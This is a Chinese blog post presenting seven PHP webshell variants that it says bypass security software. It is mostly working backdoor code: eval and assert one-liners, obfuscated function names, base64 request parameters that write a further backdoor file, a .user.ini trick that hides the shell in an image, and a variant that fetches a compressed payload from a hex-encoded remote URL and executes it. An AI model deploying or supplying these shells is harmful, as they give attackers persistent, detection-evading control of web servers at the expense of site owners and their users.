php webshell的几种变形

2020年4月15日22:55:16 发表评论

以下是获取网站web shell会用到的几种变形,可以有效绕过安全软件的拦截。

最简版

<?php eval($_POST[CMD]);?>

这会直接执行参数CMD的内容,但容易被封杀

变形一

<?php $x=$_GET['z']; @eval("$x;");?>

一般的安全软件可能会利用eval+get/post进行封杀,分离开get/post和eval可以绕过。

变形二

<?php $a=str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]);?>

请求参数:

?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))

执行代码:

assert(fputs(fopen('c.php',w),"<?php@eval($_POST[a]);?>"))

这里利用的时assert执行命令,并且利用字符串隐藏assert方法,再调用该函数动态传参构造后门。

变形三

<?php $_GET['a']($_GET['b']);?>

请求参数

?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))

完全利用动态传参构造后门,和二类似。

变形四

($code = $_POST['code']) &&@preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add')

利用str_rot13将eval函数隐藏,再利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

变形五

$filename=$_GET['code']; include ($filename);

利用include方法可以将任何一个文件当成php执行,因此可以上传一个txt文件然后将真正的后隐藏在其中。

变形六

auto_prepend_file=code.gif

上传.user.ini,并且写入auto_prepend_file=code.gif将一句话隐藏在code.gif中,并且将它上传到同一目录下。改进的地方:

将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使得所有正常php文件都毫不知情的中招。

变形七

if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

改进的地方:

  1. 通过pack函数得到URL
  2. 利用file_get_contents获得make.jpg。
  3. 利用substr截取3649字节以后的内容。
  4. 利用gzuncompress方法将3649字节以后的内容解压出来。
  5. 用preg_replace方法的e操作符将代码执行。

 

flyingsheep

发表评论